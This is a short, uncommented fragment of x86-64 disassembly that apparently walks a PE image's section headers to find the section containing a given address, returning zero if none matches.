add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4fff4a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4fff41
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4fff41
mov rax, qword [rbp - 8]
jmp 0x2fc4fff5f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4fff14
mov eax, 0
add rsp, 0x20
pop rbp
ret